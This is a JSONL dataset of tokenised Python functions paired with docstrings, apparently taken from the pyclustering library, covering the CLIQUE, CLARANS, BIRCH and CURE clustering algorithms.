{"signature": "@visited.setter<EOL><INDENT>def visited(self, visited):<DEDENT>", "body": "self.__visited = visited<EOL>", "docstring": "!\n        @brief Marks or unmarks block as a visited.\n        @details This setter is used by CLIQUE algorithm.\n\n        @param[in] visited (bool): New visited state for the CLIQUE block.", "id": "f15466:c2:m10"}
{"signature": "def capture_points(self, data, point_availability):", "body": "for index_point in range(len(data)):<EOL><INDENT>if (point_availability[index_point] is True) and (data[index_point] in self.__spatial_location):<EOL><INDENT>self.__points.append(index_point)<EOL>point_availability[index_point] = False<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Finds points that belong to this block using availability map to reduce computational complexity by\n                checking whether the point belongs to the block.\n        @details Algorithm complexity of this method is O(n).\n\n        @param[in] data (array_like): Data where points are represented as coordinates.\n        @param[in] point_availability (array_like): Contains boolean values that denote whether point is already belong\n                    to another CLIQUE block.", "id": "f15466:c2:m11"}
{"signature": "def get_location_neighbors(self, edge):", "body": "neighbors = []<EOL>for index_dimension in range(len(self.__logical_location)):<EOL><INDENT>if self.__logical_location[index_dimension] + <NUM_LIT:1> < edge:<EOL><INDENT>position = self.__logical_location[:]<EOL>position[index_dimension] += <NUM_LIT:1><EOL>neighbors.append(position)<EOL><DEDENT>if self.__logical_location[index_dimension] - <NUM_LIT:1> >= <NUM_LIT:0>:<EOL><INDENT>position = self.__logical_location[:]<EOL>position[index_dimension] -= <NUM_LIT:1><EOL>neighbors.append(position)<EOL><DEDENT><DEDENT>return neighbors<EOL>", "docstring": "!\n        @brief Forms list of logical location of each neighbor for this particular CLIQUE block.\n\n        @param[in] edge (uint): Amount of intervals in each dimension that is used for clustering process.\n\n        @return (list) Logical location of each neighbor for this particular CLIQUE block.", "id": "f15466:c2:m12"}
{"signature": "def __init__(self, dimension, intervals):", "body": "self.__intervals = intervals<EOL>self.__dimension = dimension<EOL>self.__coordiate = [<NUM_LIT:0>] * dimension<EOL>", "docstring": "!\n        @brief Initializes coordinate iterator for CLIQUE algorithm.\n\n        @param[in] dimension (uint): Amount of dimensions in input data space.\n        @param[in] intervals (uint): Amount of intervals in each dimension.", "id": "f15466:c3:m0"}
{"signature": "def get_coordinate(self):", "body": "return self.__coordiate<EOL>", "docstring": "!\n        @brief Returns current block coordinate.", "id": "f15466:c3:m1"}
{"signature": "def increment(self):", "body": "for index_dimension in range(self.__dimension):<EOL><INDENT>if self.__coordiate[index_dimension] + <NUM_LIT:1> < self.__intervals:<EOL><INDENT>self.__coordiate[index_dimension] += <NUM_LIT:1><EOL>return<EOL><DEDENT>else:<EOL><INDENT>self.__coordiate[index_dimension] = <NUM_LIT:0><EOL><DEDENT><DEDENT>self.__coordiate = None<EOL>", "docstring": "!\n        @brief Forms logical location for next block.", "id": "f15466:c3:m2"}
{"signature": "def __init__(self, data, amount_intervals, density_threshold, **kwargs):", "body": "self.__data = data<EOL>self.__amount_intervals = amount_intervals<EOL>self.__density_threshold = density_threshold<EOL>self.__ccore = kwargs.get('<STR_LIT>', True)<EOL>if self.__ccore:<EOL><INDENT>self.__ccore = ccore_library.workable()<EOL><DEDENT>self.__clusters = []<EOL>self.__noise = []<EOL>self.__cells = []<EOL>self.__cells_map = {}<EOL>self.__validate_arguments()<EOL>", "docstring": "!\n        @brief Create CLIQUE clustering algorithm.\n\n        @param[in] data (list): Input data (list of points) that should be clustered.\n        @param[in] amount_intervals (uint): Amount of intervals in each dimension that defines amount of CLIQUE block\n                    as \\f[N_{blocks} = intervals^{dimensions}\\f].\n        @param[in] density_threshold (uint): Minimum number of points that should contain CLIQUE block to consider its\n                    points as non-outliers.\n        @param[in] **kwargs: Arbitrary keyword arguments (available arguments: 'ccore').\n\n        <b>Keyword Args:</b><br>\n            - ccore (bool): By default is True. If True then C++ implementation is used for cluster analysis, otherwise\n               Python implementation is used.", "id": "f15466:c4:m0"}
{"signature": "def process(self):", "body": "if self.__ccore:<EOL><INDENT>self.__process_by_ccore()<EOL><DEDENT>else:<EOL><INDENT>self.__process_by_python()<EOL><DEDENT>return self<EOL>", "docstring": "!\n        @brief Performs clustering process in line with rules of CLIQUE clustering algorithm.\n\n        @return (clique) Returns itself (CLIQUE instance).\n\n        @see get_clusters()\n        @see get_noise()\n        @see get_cells()", "id": "f15466:c4:m1"}
{"signature": "def get_clusters(self):", "body": "return self.__clusters<EOL>", "docstring": "!\n        @brief Returns allocated clusters.\n\n        @remark Allocated clusters are returned only after data processing (method process()). Otherwise empty list is returned.\n\n        @return (list) List of allocated clusters, each cluster contains indexes of objects in list of data.\n\n        @see process()\n        @see get_noise()", "id": "f15466:c4:m2"}
{"signature": "def get_noise(self):", "body": "return self.__noise<EOL>", "docstring": "!\n        @brief Returns allocated noise.\n\n        @remark Allocated noise is returned only after data processing (method process()). Otherwise empty list is returned.\n\n        @return (list) List of indexes that are marked as a noise.\n\n        @see process()\n        @see get_clusters()", "id": "f15466:c4:m3"}
{"signature": "def get_cells(self):", "body": "return self.__cells<EOL>", "docstring": "!\n        @brief Returns CLIQUE blocks that are formed during clustering process.\n        @details CLIQUE blocks can be used for visualization purposes. Each CLIQUE block contain its logical location\n                  in grid, spatial location in data space and points that belong to block.\n\n        @return (list) List of CLIQUE blocks.", "id": "f15466:c4:m4"}
{"signature": "def get_cluster_encoding(self):", "body": "return type_encoding.CLUSTER_INDEX_LIST_SEPARATION<EOL>", "docstring": "!\n        @brief Returns clustering result representation type that indicate how clusters are encoded.\n\n        @return (type_encoding) Clustering result representation.\n\n        @see get_clusters()", "id": "f15466:c4:m5"}
{"signature": "def __process_by_ccore(self):", "body": "(self.__clusters, self.__noise, block_logical_locations, block_max_corners, block_min_corners, block_points) =wrapper.clique(self.__data, self.__amount_intervals, self.__density_threshold)<EOL>amount_cells = len(block_logical_locations)<EOL>for i in range(amount_cells):<EOL><INDENT>self.__cells.append(clique_block(block_logical_locations[i],<EOL>spatial_block(block_max_corners[i], block_min_corners[i]),<EOL>block_points[i],<EOL>True))<EOL><DEDENT>", "docstring": "!\n        @brief Performs cluster analysis using C++ implementation of CLIQUE algorithm that is used by default if\n                user's target platform is supported.", "id": "f15466:c4:m6"}
{"signature": "def __process_by_python(self):", "body": "self.__create_grid()<EOL>self.__allocate_clusters()<EOL>self.__cells_map.clear()<EOL>", "docstring": "!\n        @brief Performs cluster analysis using Python implementation of CLIQUE algorithm.", "id": "f15466:c4:m7"}
{"signature": "def __validate_arguments(self):", "body": "if len(self.__data) == <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if self.__amount_intervals <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % self.__amount_intervals)<EOL><DEDENT>if self.__density_threshold < <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % self.__density_threshold)<EOL><DEDENT>", "docstring": "!\n        @brief Check input arguments of CLIQUE algorithm and if one of them is not correct then appropriate exception\n                is thrown.", "id": "f15466:c4:m8"}
{"signature": "def __allocate_clusters(self):", "body": "for cell in self.__cells:<EOL><INDENT>if cell.visited is False:<EOL><INDENT>self.__expand_cluster(cell)<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Performs cluster analysis using formed CLIQUE blocks.", "id": "f15466:c4:m9"}
{"signature": "def __expand_cluster(self, cell):", "body": "cell.visited = True<EOL>if len(cell.points) <= self.__density_threshold:<EOL><INDENT>if len(cell.points) > <NUM_LIT:0>:<EOL><INDENT>self.__noise.extend(cell.points)<EOL><DEDENT>return<EOL><DEDENT>cluster = cell.points[:]<EOL>neighbors = self.__get_neighbors(cell)<EOL>for neighbor in neighbors:<EOL><INDENT>if len(neighbor.points) > self.__density_threshold:<EOL><INDENT>cluster.extend(neighbor.points)<EOL>neighbors += self.__get_neighbors(neighbor)<EOL><DEDENT>elif len(neighbor.points) > <NUM_LIT:0>:<EOL><INDENT>self.__noise.extend(neighbor.points)<EOL><DEDENT><DEDENT>self.__clusters.append(cluster)<EOL>", "docstring": "!\n        @brief Tries to expand cluster from specified cell.\n        @details During expanding points are marked as noise or append to new cluster.\n\n        @param[in] cell (clique_block): CLIQUE block from that cluster should be expanded.", "id": "f15466:c4:m10"}
{"signature": "def __get_neighbors(self, cell):", "body": "neighbors = []<EOL>location_neighbors = cell.get_location_neighbors(self.__amount_intervals)<EOL>for i in range(len(location_neighbors)):<EOL><INDENT>key = self.__location_to_key(location_neighbors[i])<EOL>candidate_neighbor = self.__cell_map[key]<EOL>if not candidate_neighbor.visited:<EOL><INDENT>candidate_neighbor.visited = True<EOL>neighbors.append(candidate_neighbor)<EOL><DEDENT><DEDENT>return neighbors<EOL>", "docstring": "!\n        @brief Returns neighbors for specified CLIQUE block as clique_block objects.\n\n        @return (list) Neighbors as clique_block objects.", "id": "f15466:c4:m11"}
{"signature": "def __create_grid(self):", "body": "data_sizes, min_corner, max_corner = self.__get_data_size_derscription()<EOL>dimension = len(self.__data[<NUM_LIT:0>])<EOL>cell_sizes = [dimension_length / self.__amount_intervals for dimension_length in data_sizes]<EOL>self.__cells = [clique_block() for _ in range(pow(self.__amount_intervals, dimension))]<EOL>iterator = coordinate_iterator(dimension, self.__amount_intervals)<EOL>point_availability = [True] * len(self.__data)<EOL>self.__cell_map = {}<EOL>for index_cell in range(len(self.__cells)):<EOL><INDENT>logical_location = iterator.get_coordinate()<EOL>iterator.increment()<EOL>self.__cells[index_cell].logical_location = logical_location[:]<EOL>cur_max_corner, cur_min_corner = self.__get_spatial_location(logical_location, min_corner, max_corner, cell_sizes)<EOL>self.__cells[index_cell].spatial_location = spatial_block(cur_max_corner, cur_min_corner)<EOL>self.__cells[index_cell].capture_points(self.__data, point_availability)<EOL>self.__cell_map[self.__location_to_key(logical_location)] = self.__cells[index_cell]<EOL><DEDENT>", "docstring": "!\n        @brief Creates CLIQUE grid that consists of CLIQUE blocks for clustering process.", "id": "f15466:c4:m12"}
{"signature": "def __location_to_key(self, location):", "body": "return '<STR_LIT>'.join(str(e) + '<STR_LIT:.>' for e in location)<EOL>", "docstring": "!\n        @brief Forms key using logical location of a CLIQUE block.\n\n        @return (string) Key for CLIQUE block map.", "id": "f15466:c4:m13"}
{"signature": "def __get_spatial_location(self, logical_location, min_corner, max_corner, cell_sizes):", "body": "cur_min_corner = min_corner[:]<EOL>cur_max_corner = min_corner[:]<EOL>dimension = len(self.__data[<NUM_LIT:0>])<EOL>for index_dimension in range(dimension):<EOL><INDENT>cur_min_corner[index_dimension] += cell_sizes[index_dimension] * logical_location[index_dimension]<EOL>if logical_location[index_dimension] == self.__amount_intervals - <NUM_LIT:1>:<EOL><INDENT>cur_max_corner[index_dimension] = max_corner[index_dimension]<EOL><DEDENT>else:<EOL><INDENT>cur_max_corner[index_dimension] = cur_min_corner[index_dimension] + cell_sizes[index_dimension]<EOL><DEDENT><DEDENT>return cur_max_corner, cur_min_corner<EOL>", "docstring": "!\n        @brief Calculates spatial location for CLIQUE block with logical coordinates defined by logical_location.\n\n        @param[in] logical_location (list): Logical location of CLIQUE block for that spatial location should be calculated.\n        @param[in] min_corner (list): Minimum corner of an input data.\n        @param[in] max_corner (list): Maximum corner of an input data.\n        @param[in] cell_sizes (list): Size of CLIQUE block in each dimension.\n\n        @return (list, list): Maximum and minimum corners for the specified CLIQUE block.", "id": "f15466:c4:m14"}
{"signature": "def __get_data_size_derscription(self):", "body": "min_corner = self.__data[<NUM_LIT:0>][:]<EOL>max_corner = self.__data[<NUM_LIT:0>][:]<EOL>dimension = len(self.__data[<NUM_LIT:0>])<EOL>for index_point in range(<NUM_LIT:1>, len(self.__data)):<EOL><INDENT>for index_dimension in range(dimension):<EOL><INDENT>coordinate = self.__data[index_point][index_dimension]<EOL>if coordinate > max_corner[index_dimension]:<EOL><INDENT>max_corner[index_dimension] = coordinate<EOL><DEDENT>if coordinate < min_corner[index_dimension]:<EOL><INDENT>min_corner[index_dimension] = coordinate<EOL><DEDENT><DEDENT><DEDENT>data_sizes = [<NUM_LIT:0.0>] * dimension<EOL>for index_dimension in range(dimension):<EOL><INDENT>data_sizes[index_dimension] = max_corner[index_dimension] - min_corner[index_dimension]<EOL><DEDENT>return data_sizes, min_corner, max_corner<EOL>", "docstring": "!\n        @brief Calculates input data description that is required to create CLIQUE grid.\n\n        @return (list, list, list): Data size in each dimension, minimum and maximum corners.", "id": "f15466:c4:m15"}
{"signature": "def __init__(self, data, number_clusters, numlocal, maxneighbor):", "body": "self.__pointer_data = data<EOL>self.__numlocal = numlocal<EOL>self.__maxneighbor = maxneighbor<EOL>self.__number_clusters = number_clusters<EOL>self.__clusters = []<EOL>self.__current = []<EOL>self.__belong = []<EOL>self.__optimal_medoids = []<EOL>self.__optimal_estimation = float('<STR_LIT>')<EOL>", "docstring": "!\n        @brief Constructor of clustering algorithm CLARANS.\n        @details The higher the value of maxneighbor, the closer is CLARANS to K-Medoids, and the longer is each search of a local minima.\n\n        @param[in] data (list): Input data that is presented as list of points (objects), each point should be represented by list or tuple.\n        @param[in] number_clusters (uint): amount of clusters that should be allocated.\n        @param[in] numlocal (uint): the number of local minima obtained (amount of iterations for solving the problem).\n        @param[in] maxneighbor (uint): the maximum number of neighbors examined.", "id": "f15467:c0:m0"}
{"signature": "def process(self):", "body": "random.seed()<EOL>for _ in range(<NUM_LIT:0>, self.__numlocal):<EOL><INDENT>self.__current = random.sample(range(<NUM_LIT:0>, len(self.__pointer_data)), self.__number_clusters)<EOL>self.__update_clusters(self.__current)<EOL>self.__optimize_configuration()<EOL>estimation = self.__calculate_estimation()<EOL>if estimation < self.__optimal_estimation:<EOL><INDENT>self.__optimal_medoids = self.__current[:]<EOL>self.__optimal_estimation = estimation<EOL><DEDENT><DEDENT>self.__update_clusters(self.__optimal_medoids)<EOL>", "docstring": "!\n        @brief Performs cluster analysis in line with rules of CLARANS algorithm.\n\n        @see get_clusters()\n        @see get_medoids()", "id": "f15467:c0:m1"}
{"signature": "def get_clusters(self):", "body": "return self.__clusters<EOL>", "docstring": "!\n        @brief Returns allocated clusters by the algorithm.\n\n        @remark Allocated clusters can be returned only after data processing (use method process()), otherwise empty list is returned.\n\n        @return (list) List of allocated clusters, each cluster contains indexes of objects in list of data.\n\n        @see process()\n        @see get_medoids()", "id": "f15467:c0:m2"}
{"signature": "def get_medoids(self):", "body": "return self.__optimal_medoids<EOL>", "docstring": "!\n        @brief Returns list of medoids of allocated clusters.\n\n        @see process()\n        @see get_clusters()", "id": "f15467:c0:m3"}
{"signature": "def get_cluster_encoding(self):", "body": "return type_encoding.CLUSTER_INDEX_LIST_SEPARATION<EOL>", "docstring": "!\n        @brief Returns clustering result representation type that indicate how clusters are encoded.\n\n        @return (type_encoding) Clustering result representation.\n\n        @see get_clusters()", "id": "f15467:c0:m4"}
{"signature": "def __update_clusters(self, medoids):", "body": "self.__belong = [<NUM_LIT:0>] * len(self.__pointer_data)<EOL>self.__clusters = [[] for i in range(len(medoids))]<EOL>for index_point in range(len(self.__pointer_data)):<EOL><INDENT>index_optim = -<NUM_LIT:1><EOL>dist_optim = <NUM_LIT:0.0><EOL>for index in range(len(medoids)):<EOL><INDENT>dist = euclidean_distance_square(self.__pointer_data[index_point], self.__pointer_data[medoids[index]])<EOL>if (dist < dist_optim) or (index is <NUM_LIT:0>):<EOL><INDENT>index_optim = index<EOL>dist_optim = dist<EOL><DEDENT><DEDENT>self.__clusters[index_optim].append(index_point)<EOL>self.__belong[index_point] = index_optim<EOL><DEDENT>self.__clusters = [cluster for cluster in self.__clusters if len(cluster) > <NUM_LIT:0>]<EOL>", "docstring": "!\n        @brief Forms cluster in line with specified medoids by calculation distance from each point to medoids.", "id": "f15467:c0:m5"}
{"signature": "def __optimize_configuration(self):", "body": "index_neighbor = <NUM_LIT:0><EOL>while (index_neighbor < self.__maxneighbor):<EOL><INDENT>current_medoid_index = self.__current[random.randint(<NUM_LIT:0>, self.__number_clusters - <NUM_LIT:1>)]<EOL>current_medoid_cluster_index = self.__belong[current_medoid_index]<EOL>candidate_medoid_index = random.randint(<NUM_LIT:0>, len(self.__pointer_data) - <NUM_LIT:1>)<EOL>while candidate_medoid_index in self.__current:<EOL><INDENT>candidate_medoid_index = random.randint(<NUM_LIT:0>, len(self.__pointer_data) - <NUM_LIT:1>)<EOL><DEDENT>candidate_cost = <NUM_LIT:0.0><EOL>for point_index in range(<NUM_LIT:0>, len(self.__pointer_data)):<EOL><INDENT>if point_index not in self.__current:<EOL><INDENT>point_cluster_index = self.__belong[point_index]<EOL>point_medoid_index = self.__current[point_cluster_index]<EOL>other_medoid_index = self.__find_another_nearest_medoid(point_index, current_medoid_index)<EOL>other_medoid_cluster_index = self.__belong[other_medoid_index]<EOL>distance_current = euclidean_distance_square(self.__pointer_data[point_index], self.__pointer_data[current_medoid_index])<EOL>distance_candidate = euclidean_distance_square(self.__pointer_data[point_index], self.__pointer_data[candidate_medoid_index])<EOL>distance_nearest = float('<STR_LIT>')<EOL>if ( (point_medoid_index != candidate_medoid_index) and (point_medoid_index != current_medoid_cluster_index) ):<EOL><INDENT>distance_nearest = euclidean_distance_square(self.__pointer_data[point_index], self.__pointer_data[point_medoid_index])<EOL><DEDENT>if (point_cluster_index == current_medoid_cluster_index):<EOL><INDENT>if (distance_candidate >= distance_nearest):<EOL><INDENT>candidate_cost += distance_nearest - distance_current<EOL><DEDENT>else:<EOL><INDENT>candidate_cost += distance_candidate - distance_current<EOL><DEDENT><DEDENT>elif (point_cluster_index == other_medoid_cluster_index):<EOL><INDENT>if (distance_candidate > distance_nearest):<EOL><INDENT>pass;<EOL><DEDENT>else:<EOL><INDENT>candidate_cost += distance_candidate - distance_nearest<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if (candidate_cost < <NUM_LIT:0>):<EOL><INDENT>self.__current[current_medoid_cluster_index] = candidate_medoid_index<EOL>self.__update_clusters(self.__current)<EOL>index_neighbor = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>index_neighbor += <NUM_LIT:1><EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Finds quasi-optimal medoids and updates in line with them clusters in line with algorithm's rules.", "id": "f15467:c0:m6"}
{"signature": "def __find_another_nearest_medoid(self, point_index, current_medoid_index):", "body": "other_medoid_index = -<NUM_LIT:1><EOL>other_distance_nearest = float('<STR_LIT>')<EOL>for index_medoid in self.__current:<EOL><INDENT>if (index_medoid != current_medoid_index):<EOL><INDENT>other_distance_candidate = euclidean_distance_square(self.__pointer_data[point_index], self.__pointer_data[current_medoid_index])<EOL>if other_distance_candidate < other_distance_nearest:<EOL><INDENT>other_distance_nearest = other_distance_candidate<EOL>other_medoid_index = index_medoid<EOL><DEDENT><DEDENT><DEDENT>return other_medoid_index<EOL>", "docstring": "!\n        @brief Finds the another nearest medoid for the specified point that is differ from the specified medoid. \n\n        @param[in] point_index: index of point in dataspace for that searching of medoid in current list of medoids is perfomed.\n        @param[in] current_medoid_index: index of medoid that shouldn't be considered as a nearest.\n\n        @return (uint) index of the another nearest medoid for the point.", "id": "f15467:c0:m7"}
{"signature": "def __calculate_estimation(self):", "body": "estimation = <NUM_LIT:0.0><EOL>for index_cluster in range(<NUM_LIT:0>, len(self.__clusters)):<EOL><INDENT>cluster = self.__clusters[index_cluster]<EOL>index_medoid = self.__current[index_cluster]<EOL>for index_point in cluster:<EOL><INDENT>estimation += euclidean_distance_square(self.__pointer_data[index_point], self.__pointer_data[index_medoid])<EOL><DEDENT><DEDENT>return estimation<EOL>", "docstring": "!\n        @brief Calculates estimation (cost) of the current clusters. The lower the estimation,\n               the more optimally configuration of clusters.\n\n        @return (double) estimation of current clusters.", "id": "f15467:c0:m8"}
{"signature": "def __init__(self, data, number_clusters, branching_factor = <NUM_LIT:5>, max_node_entries = <NUM_LIT:5>, initial_diameter = <NUM_LIT:0.1>, type_measurement = measurement_type.CENTROID_EUCLIDEAN_DISTANCE, entry_size_limit = <NUM_LIT:200>, diameter_multiplier = <NUM_LIT>, ccore = True):", "body": "self.__pointer_data = data;<EOL>self.__number_clusters = number_clusters;<EOL>self.__measurement_type = type_measurement;<EOL>self.__entry_size_limit = entry_size_limit;<EOL>self.__diameter_multiplier = diameter_multiplier;<EOL>self.__ccore = ccore;<EOL>self.__features = None;<EOL>self.__tree = cftree(branching_factor, max_node_entries, initial_diameter, type_measurement);<EOL>self.__clusters = [];<EOL>self.__noise = []<EOL>", "docstring": "!\n        @brief Constructor of clustering algorithm BIRCH.\n\n        @param[in] data (list): Input data presented as list of points (objects), where each point should be represented by list or tuple.\n        @param[in] number_clusters (uint): Number of clusters that should be allocated.\n        @param[in] branching_factor (uint): Maximum number of successor that might be contained by each non-leaf node in CF-Tree.\n        @param[in] max_node_entries (uint): Maximum number of entries that might be contained by each leaf node in CF-Tree.\n        @param[in] initial_diameter (double): Initial diameter that used for CF-Tree construction, it can be increase if entry_size_limit is exceeded.\n        @param[in] type_measurement (measurement_type): Type measurement used for calculation distance metrics.\n        @param[in] entry_size_limit (uint): Maximum number of entries that can be stored in CF-Tree, if it is exceeded during creation then diameter is increased and CF-Tree is rebuilt.\n        @param[in] diameter_multiplier (double): Multiplier that is used for increasing diameter when entry_size_limit is exceeded.\n        @param[in] ccore (bool): If True than DLL CCORE (C++ solution) will be used for solving the problem.\n\n        @remark Despite eight arguments only the first two is mandatory, others can be ommitted. In this case default values are used for instance creation.", "id": "f15468:c0:m0"}
{"signature": "def process(self):", "body": "self.__insert_data();<EOL>self.__extract_features();<EOL>current_number_clusters = len(self.__features);<EOL>while (current_number_clusters > self.__number_clusters):<EOL><INDENT>indexes = self.__find_nearest_cluster_features();<EOL>self.__features[indexes[<NUM_LIT:0>]] += self.__features[indexes[<NUM_LIT:1>]];<EOL>self.__features.pop(indexes[<NUM_LIT:1>]);<EOL>current_number_clusters = len(self.__features);<EOL><DEDENT>self.__decode_data()<EOL>", "docstring": "!\n        @brief Performs cluster analysis in line with rules of BIRCH algorithm.\n\n        @remark Results of clustering can be obtained using corresponding gets methods.\n\n        @see get_clusters()", "id": "f15468:c0:m1"}
{"signature": "def get_clusters(self):", "body": "return self.__clusters<EOL>", "docstring": "!\n        @brief Returns list of allocated clusters, each cluster contains indexes of objects in list of data.\n\n        @remark Allocated noise can be returned only after data processing (use method process() before). Otherwise empty list is returned.\n\n        @return (list) List of allocated clusters.\n\n        @see process()\n        @see get_noise()", "id": "f15468:c0:m2"}
{"signature": "def get_cluster_encoding(self):", "body": "return type_encoding.CLUSTER_INDEX_LIST_SEPARATION<EOL>", "docstring": "!\n        @brief Returns clustering result representation type that indicate how clusters are encoded.\n\n        @return (type_encoding) Clustering result representation.\n\n        @see get_clusters()", "id": "f15468:c0:m3"}
{"signature": "def __extract_features(self):", "body": "self.__features = [];<EOL>if (len(self.__tree.leafes) == <NUM_LIT:1>):<EOL><INDENT>for entry in self.__tree.leafes[<NUM_LIT:0>].entries:<EOL><INDENT>self.__features.append(entry);<EOL><DEDENT><DEDENT>else:<EOL><INDENT>for node in self.__tree.leafes:<EOL><INDENT>self.__features.append(node.feature);<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Extracts features from CF-tree cluster.", "id": "f15468:c0:m4"}
{"signature": "def __decode_data(self):", "body": "self.__clusters = [ [] for _ in range(self.__number_clusters) ];<EOL>self.__noise = [];<EOL>for index_point in range(<NUM_LIT:0>, len(self.__pointer_data)):<EOL><INDENT>(_, cluster_index) = self.__get_nearest_feature(self.__pointer_data[index_point], self.__features);<EOL>self.__clusters[cluster_index].append(index_point);<EOL><DEDENT>", "docstring": "!\n        @brief Decodes data from CF-tree features.", "id": "f15468:c0:m5"}
{"signature": "def __insert_data(self):", "body": "for index_point in range(<NUM_LIT:0>, len(self.__pointer_data)):<EOL><INDENT>point = self.__pointer_data[index_point];<EOL>self.__tree.insert_cluster( [ point ] );<EOL>if (self.__tree.amount_entries > self.__entry_size_limit):<EOL><INDENT>self.__tree = self.__rebuild_tree(index_point);<EOL><DEDENT><DEDENT>", "docstring": "!\n        @brief Inserts input data to the tree.\n\n        @remark If number of maximum number of entries is exceeded than diameter is increased and tree is rebuilt.", "id": "f15468:c0:m6"}
{"signature": "def __rebuild_tree(self, index_point):", "body": "rebuild_result = False;<EOL>increased_diameter = self.__tree.threshold * self.__diameter_multiplier;<EOL>tree = None;<EOL>while(rebuild_result is False):<EOL><INDENT>if (increased_diameter == <NUM_LIT:0.0>):<EOL><INDENT>increased_diameter = <NUM_LIT:1.0>;<EOL><DEDENT>tree = cftree(self.__tree.branch_factor, self.__tree.max_entries, increased_diameter, self.__tree.type_measurement);<EOL>for index_point in range(<NUM_LIT:0>, index_point + <NUM_LIT:1>):<EOL><INDENT>point = self.__pointer_data[index_point];<EOL>tree.insert_cluster([point]);<EOL>if (tree.amount_entries > self.__entry_size_limit):<EOL><INDENT>increased_diameter *= self.__diameter_multiplier;<EOL>continue;<EOL><DEDENT><DEDENT>rebuild_result = True;<EOL><DEDENT>return tree<EOL>", "docstring": "!\n        @brief Rebuilt tree in case of maxumum number of entries is exceeded.\n\n        @param[in] index_point (uint): Index of point that is used as end point of re-building.\n\n        @return (cftree) Rebuilt tree with encoded points till specified point from input data space.", "id": "f15468:c0:m7"}
{"signature": "def __find_nearest_cluster_features(self):", "body": "minimum_distance = float(\"<STR_LIT>\");<EOL>index1 = <NUM_LIT:0>;<EOL>index2 = <NUM_LIT:0>;<EOL>for index_candidate1 in range(<NUM_LIT:0>, len(self.__features)):<EOL><INDENT>feature1 = self.__features[index_candidate1];<EOL>for index_candidate2 in range(index_candidate1 + <NUM_LIT:1>, len(self.__features)):<EOL><INDENT>feature2 = self.__features[index_candidate2];<EOL>distance = feature1.get_distance(feature2, self.__measurement_type);<EOL>if (distance < minimum_distance):<EOL><INDENT>minimum_distance = distance;<EOL>index1 = index_candidate1;<EOL>index2 = index_candidate2;<EOL><DEDENT><DEDENT><DEDENT>return [index1, index2]<EOL>", "docstring": "!\n        @brief Find pair of nearest CF entries.\n\n        @return (list) List of two nearest enties that are represented by list [index_point1, index_point2].", "id": "f15468:c0:m8"}
{"signature": "def __get_nearest_feature(self, point, feature_collection):", "body": "minimum_distance = float(\"<STR_LIT>\");<EOL>index_nearest_feature = -<NUM_LIT:1>;<EOL>for index_entry in range(<NUM_LIT:0>, len(feature_collection)):<EOL><INDENT>point_entry = cfentry(<NUM_LIT:1>, linear_sum([ point ]), square_sum([ point ]));<EOL>distance = feature_collection[index_entry].get_distance(point_entry, self.__measurement_type);<EOL>if (distance < minimum_distance):<EOL><INDENT>minimum_distance = distance;<EOL>index_nearest_feature = index_entry;<EOL><DEDENT><DEDENT>return (minimum_distance, index_nearest_feature)<EOL>", "docstring": "!\n        @brief Find nearest entry for specified point.\n\n        @param[in] point (list): Pointer to point from input dataset.\n        @param[in] feature_collection (list): Feature collection that is used for obtaining nearest feature for the specified point.\n\n        @return (double, uint) Tuple of distance to nearest entry to the specified point and index of that entry.", "id": "f15468:c0:m9"}
{"signature": "def __init__(self, point, index):", "body": "<EOL>self.points = [ ]<EOL>self.indexes = -<NUM_LIT:1><EOL>self.mean = None<EOL>self.rep = [ ]<EOL>if point is not None:<EOL><INDENT>self.points = [ point ]<EOL>self.indexes = [ index ]<EOL>self.mean = point<EOL>self.rep = [ point ]<EOL><DEDENT>self.closest = None<EOL>self.distance = float('<STR_LIT>')<EOL>", "docstring": "!\n        @brief Constructor of CURE cluster.\n\n        @param[in] point (list): Point represented by list of coordinates.\n        @param[in] index (uint): Index point in dataset.", "id": "f15541:c0:m0"}
{"signature": "def __repr__(self):", "body": "return \"<STR_LIT>\" % (self.distance, self.points)<EOL>", "docstring": "!\n        @brief Displays distance to closest cluster and points that are contained by current cluster.", "id": "f15541:c0:m1"}
{"signature": "def __init__(self, data, number_cluster, number_represent_points = <NUM_LIT:5>, compression = <NUM_LIT:0.5>, ccore = True):", "body": "self.__pointer_data = self.__prepare_data_points(data)<EOL>self.__clusters = None<EOL>self.__representors = None<EOL>self.__means = None<EOL>self.__number_cluster = number_cluster<EOL>self.__number_represent_points = number_represent_points<EOL>self.__compression = compression<EOL>self.__ccore = ccore<EOL>if self.__ccore:<EOL><INDENT>self.__ccore = ccore_library.workable()<EOL><DEDENT>self.__validate_arguments()<EOL>", "docstring": "!\n        @brief Constructor of clustering algorithm CURE.\n\n        @param[in] data (array_like): Input data that should be processed.\n        @param[in] number_cluster (uint): Number of clusters that should be allocated.\n        @param[in] number_represent_points (uint): Number of representative points for each cluster.\n        @param[in] compression (double): Coefficient defines level of shrinking of representation points toward the mean of the new created cluster after merging on each step. Usually it destributed from 0 to 1.\n        @param[in] ccore (bool): If True then CCORE (C++ solution) will be used for solving.", "id": "f15541:c1:m0"}
{"signature": "def process(self):", "body": "if self.__ccore is True:<EOL><INDENT>self.__process_by_ccore()<EOL><DEDENT>else:<EOL><INDENT>self.__process_by_python()<EOL><DEDENT>", "docstring": "!\n        @brief Performs cluster analysis in line with rules of CURE algorithm.\n\n        @remark Results of clustering can be obtained using corresponding get methods.\n\n        @see get_clusters()", "id": "f15541:c1:m1"}
{"signature": "def __process_by_ccore(self):", "body": "cure_data_pointer = wrapper.cure_algorithm(self.__pointer_data, self.__number_cluster,<EOL>self.__number_represent_points, self.__compression)<EOL>self.__clusters = wrapper.cure_get_clusters(cure_data_pointer)<EOL>self.__representors = wrapper.cure_get_representors(cure_data_pointer)<EOL>self.__means = wrapper.cure_get_means(cure_data_pointer)<EOL>wrapper.cure_data_destroy(cure_data_pointer)<EOL>", "docstring": "!\n        @brief Performs cluster analysis using CCORE (C/C++ part of pyclustering library).", "id": "f15541:c1:m2"}
